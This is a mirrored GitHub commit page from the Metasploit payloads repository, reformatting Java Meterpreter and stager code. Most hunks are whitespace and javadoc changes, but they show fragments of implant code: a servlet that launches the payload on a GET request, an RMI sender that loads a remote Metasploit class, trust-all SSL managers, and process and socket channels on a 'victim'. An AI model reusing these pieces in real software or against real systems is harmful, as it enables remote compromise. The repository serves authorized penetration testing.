1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-05-12 19:04:32 +02:00

format all code with the default intellij java formatter

This commit is contained in:
Tim 2015-05-17 19:05:21 +01:00
parent 3ba13e719a
commit d1e69b2d43
95 changed files with 3306 additions and 3344 deletions

@ -3,8 +3,7 @@ package com.metasploit.stage;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity
{
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

@ -41,6 +41,7 @@ import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
/**

@ -7,6 +7,7 @@ import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
import android.os.Build;
public class stdapi_sys_config_sysinfo_android extends

@ -72,6 +72,7 @@ public class StreamForwarder extends Thread {
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
this(in, out, stackTraceOut, true);
}
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
this.in = in;
this.out = out;
@ -90,7 +91,8 @@ public class StreamForwarder extends Thread {
}
private static void throwWrapped(Throwable ex) {
/* #JDK1.4 */try {
/* #JDK1.4 */
try {
throw new RuntimeException(ex);
} catch (NoSuchMethodError ex2) /**/ {
throw new RuntimeException(ex.toString());

@ -1,5 +1,7 @@
package metasploit;
import java.io.*;
import javax.management.*;
public class JMXPayload implements JMXPayloadMBean {

@ -59,7 +59,7 @@ import java.util.StringTokenizer;
/**
* The main payload loader class.
*
* <p/>
* To invoke all the magic, call the {@link #main(String[])} method
* (Or use it as Main-Class in a standalone jar and double-click it).
*/

@ -4,6 +4,7 @@ import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.lang.Thread;
public class PayloadServlet extends HttpServlet implements Runnable {
@ -11,18 +12,20 @@ public class PayloadServlet extends HttpServlet implements Runnable {
public void run() {
try {
metasploit.Payload.main(new String[]{""});
} catch (Exception e) {}
} catch (Exception e) {
}
}
protected void doGet(HttpServletRequest req, HttpServletResponse res)
throws ServletException, java.io.IOException
{
throws ServletException, java.io.IOException {
PrintWriter out = res.getWriter();
try {
Thread t = new Thread(this);
t.start();
} catch(Exception e) { };
} catch (Exception e) {
}
;
out.close();
}

@ -41,6 +41,7 @@ import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
/**

@ -22,7 +22,8 @@ public class RMISender {
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
DGCImpl_Stub stub = new DGCImpl_Stub(ref);
Field f = stub.getClass().getDeclaredField("operations");;
Field f = stub.getClass().getDeclaredField("operations");
;
f.setAccessible(true);
RemoteCall remotecall = ref.newCall(stub, (Operation[]) f.get(stub), 0, 0xf6b6898d8bf28643L);
ObjectOutput objectoutput = remotecall.getOutputStream();

@ -119,7 +119,8 @@ public class PayloadTest extends TestCase {
Future handle = tempThread.submit(new Callable() {
public Object call() throws Exception {
return runPayload(metasploitDat, null);
}});
}
});
Socket s;
for (int retry = 0; ; retry++) {
try {
@ -172,7 +173,8 @@ public class PayloadTest extends TestCase {
baos.reset();
}
}
} catch (ClassNotFoundException ex) {}
} catch (ClassNotFoundException ex) {
}
byte[] extraClassBytes = null;
if (extraClass != null) {
StreamForwarder.forward(extraClass.getResourceAsStream(extraClass.getSimpleName() + ".class"), baos);
@ -197,6 +199,7 @@ public class PayloadTest extends TestCase {
defineClass(null, classToDefine, 0, classToDefine.length);
}
}
protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
// do not load classes from metasploit package from parent class loader!
if (name.startsWith("metasploit.")) {

@ -21,12 +21,9 @@ public class Channel {
/**
* Create a new "generic" channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param in
* Input stream of the channel
* @param out
* Output stream of the channel, if any
* @param meterpreter The meterpreter this channel should be assigned to.
* @param in Input stream of the channel
* @param out Output stream of the channel, if any
*/
public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) {
this.meterpreter = meterpreter;
@ -51,7 +48,7 @@ public class Channel {
/**
* Check whether this channel is at end of file.
*
* <p/>
* Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls.
*/
public synchronized boolean isEOF() throws IOException {
@ -66,8 +63,7 @@ public class Channel {
/**
* Read at least one byte, and up to maxLength bytes from this stream.
*
* @param maxLength
* The maximum number of bytes to read.
* @param maxLength The maximum number of bytes to read.
* @return The bytes read, or <code>null</code> if the end of the stream has been reached.
*/
public synchronized byte[] read(int maxLength) throws IOException, InterruptedException {
@ -91,10 +87,8 @@ public class Channel {
/**
* Write length bytes from the start of data to this channel.
*
* @param data
* The data to write
* @param length
* The length to write
* @param data The data to write
* @param length The length to write
*/
public void write(byte[] data, int length, TLVPacket request) throws IOException {
if (out == null)
@ -130,8 +124,7 @@ public class Channel {
/**
* Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel.
*
* @param data
* The new data available, or <code>null</code> if EOF has been reached.
* @param data The new data available, or <code>null</code> if EOF has been reached.
*/
protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException {
while (waiting) {

@ -52,10 +52,8 @@ public class CommandManager {
/**
* Register a command that can be executed on all Java versions (from 1.2 onward)
*
* @param command
* Name of the command
* @param commandClass
* Class that implements the command
* @param command Name of the command
* @param commandClass Class that implements the command
*/
public void registerCommand(String command, Class commandClass) throws Exception {
registerCommand(command, commandClass, ExtensionLoader.V1_2);
@ -64,12 +62,9 @@ public class CommandManager {
/**
* Register a command that can be executed only on some Java versions
*
* @param command
* Name of the command
* @param commandClass
* Stub class for generating the class name that implements the command
* @param version
* Minimum Java version
* @param command Name of the command
* @param commandClass Stub class for generating the class name that implements the command
* @param version Minimum Java version
*/
public void registerCommand(String command, Class commandClass, int version) throws Exception {
registerCommand(command, commandClass, version, version);
@ -78,14 +73,10 @@ public class CommandManager {
/**
* Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions.
*
* @param command
* Name of the command
* @param commandClass
* Stub class for generating the class name that implements the command
* @param version
* Minimum Java version
* @param secondVersion
* Minimum Java version for the second implementation
* @param command Name of the command
* @param commandClass Stub class for generating the class name that implements the command
* @param version Minimum Java version
* @param secondVersion Minimum Java version for the second implementation
*/
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
if (secondVersion < version)

@ -16,8 +16,7 @@ public interface ExtensionLoader {
/**
* Load this extension.
*
* @param commandManager
* command manager to load commands into.
* @param commandManager command manager to load commands into.
*/
public void load(CommandManager commandManager) throws Exception;
}

@ -44,14 +44,10 @@ public class Meterpreter {
/**
* Initialize the meterpreter.
*
* @param in
* Input stream to read from
* @param rawOut
* Output stream to write into
* @param loadExtensions
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @param in Input stream to read from
* @param rawOut Output stream to write into
* @param loadExtensions Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
@ -61,16 +57,11 @@ public class Meterpreter {
/**
* Initialize the meterpreter.
*
* @param in
* Input stream to read from
* @param rawOut
* Output stream to write into
* @param loadExtensions
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @param beginExecution
* Whether to begin executing immediately
* @param in Input stream to read from
* @param rawOut Output stream to write into
* @param loadExtensions Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @param beginExecution Whether to begin executing immediately
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
@ -118,10 +109,8 @@ public class Meterpreter {
/**
* Write a TLV packet to this meterpreter's output stream.
*
* @param type
* The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
* @param packet
* The packet to send
* @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
* @param packet The packet to send
*/
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
byte[] data = packet.toByteArray();
@ -145,8 +134,7 @@ public class Meterpreter {
/**
* Execute a command request.
*
* @param request
* The request to execute
* @param request The request to execute
* @return The response packet to send back
*/
private TLVPacket executeCommand(TLVPacket request) throws IOException {
@ -177,6 +165,7 @@ public class Meterpreter {
/**
* Poll from a given URL until a shutdown request is received.
*
* @param url
*/
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
@ -260,8 +249,7 @@ public class Meterpreter {
/**
* Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}.
*
* @param channel
* The channel to register
* @param channel The channel to register
* @return The channel's ID.
*/
public synchronized int registerChannel(Channel channel) {
@ -272,8 +260,7 @@ public class Meterpreter {
/**
* Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed.
*
* @param id
* The channel's ID
* @param id The channel's ID
*/
public synchronized void channelClosed(int id) {
channels.set(id, null);
@ -282,10 +269,8 @@ public class Meterpreter {
/**
* Obtain a channel for a given channel ID
*
* @param id
* The channel ID to look up
* @param throwIfNonexisting
* Whether to throw an exception if the channel does not exist
* @param id The channel ID to look up
* @param throwIfNonexisting Whether to throw an exception if the channel does not exist
* @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception
*/
public Channel getChannel(int id, boolean throwIfNonexisting) {
@ -329,10 +314,8 @@ public class Meterpreter {
/**
* Send a request packet over this meterpreter.
*
* @param packet
* Packet parameters
* @param method
* Method to invoke
* @param packet Packet parameters
* @param method Method to invoke
*/
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
tlv.add(TLVType.TLV_TYPE_METHOD, method);
@ -347,8 +330,7 @@ public class Meterpreter {
/**
* Load an extension into this meterpreter. Called from {@link core_loadlib}.
*
* @param data
* The extension jar's content as a byte array
* @param data The extension jar's content as a byte array
*/
public String[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();

@ -9,6 +9,7 @@ import javax.net.ssl.SSLSession;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
/**
@ -16,7 +17,7 @@ import java.security.cert.X509Certificate;
* depends on classes only present on Sun JRE 1.4+, and incorporating it into
* the main {@link Meterpreter} class would have made it impossible for other/older
* JREs to load it.
*
* <p/>
* This class is substantically identical to the metasploit.PayloadTrustManager class,
* only that it tries to cache the ssl context and trust manager between calls.
*/

@ -63,12 +63,9 @@ public class TLVPacket {
/**
* Read a TLV packet from an input stream.
*
* @param in
* Input stream to read from
* @param remaining
* length of the packet to read in bytes
* @throws IOException
* if an error occurs
* @param in Input stream to read from
* @param remaining length of the packet to read in bytes
* @throws IOException if an error occurs
*/
public TLVPacket(DataInputStream in, int remaining) throws IOException {
while (remaining > 0) {

@ -2,7 +2,7 @@ package com.metasploit.meterpreter;
/**
* All defined TLV types.
*
* <p/>
* TLV meta types are defined in the {@link TLVPacket} class.
*
* @author mihi

@ -24,15 +24,11 @@ public interface Command {
/**
* Execute this command.
*
* @param request
* request packet
* @param response
* response packet
* @param errorStream
* Stream to write errors to
* @param request request packet
* @param response response packet
* @param errorStream Stream to write errors to
* @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE})
* @throws any
* exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
* @throws any exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
*/
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
}

@ -17,10 +17,8 @@ public class UnsupportedJavaVersionCommand implements Command {
/**
* Create a new instance of that command.
*
* @param command
* Name of the command
* @param version
* Version required
* @param command Name of the command
* @param version Version required
*/
public UnsupportedJavaVersionCommand(String command, int version) {
this.command = command;

@ -20,10 +20,8 @@ public class DatagramSocketChannel extends Channel {
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
* @param meterpreter The meterpreter this channel should be assigned to.
* @param socket Socket of the channel
*/
public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException {
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);

@ -19,10 +19,8 @@ public class ProcessChannel extends Channel {
/**
* Create a new process channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param process
* Process of the channel
* @param meterpreter The meterpreter this channel should be assigned to.
* @param process Process of the channel
*/
public ProcessChannel(Meterpreter meterpreter, Process process) {
super(meterpreter, process.getInputStream(), process.getOutputStream());

@ -19,10 +19,8 @@ public class ServerSocketChannel extends Channel {
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
* @param meterpreter The meterpreter this channel should be assigned to.
* @param socket Socket of the channel
*/
public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException {
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);

@ -15,10 +15,8 @@ public class SocketChannel extends Channel {
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
* @param meterpreter The meterpreter this channel should be assigned to.
* @param socket Socket of the channel
*/
public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException {
super(meterpreter, socket.getInputStream(), socket.getOutputStream());

@ -41,8 +41,7 @@ public class stdapi_fs_stat implements Command {
// Work around it by always treating / as unhidden.
| (!file.getAbsolutePath().equals("/") && file.isHidden() ? 1 : 0)
| (file.isDirectory() ? 040000 : 0)
| (file.isFile() ? 0100000 : 0)
;
| (file.isFile() ? 0100000 : 0);
return stat(mode, file.length(), file.lastModified());
}

@ -4,6 +4,7 @@ import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.util.List;
public class stdapi_sys_config_getenv implements Command {

@ -13,7 +13,7 @@ import com.metasploit.meterpreter.command.Command;
/**
* Ported from PHP meterpreter.
*
* <p/>
* # Works, but not very portable. There doesn't appear to be a PHP way of
* # getting a list of processes, so we just shell out to ps/tasklist.exe. I need
* # to decide what options to send to ps for portability and for information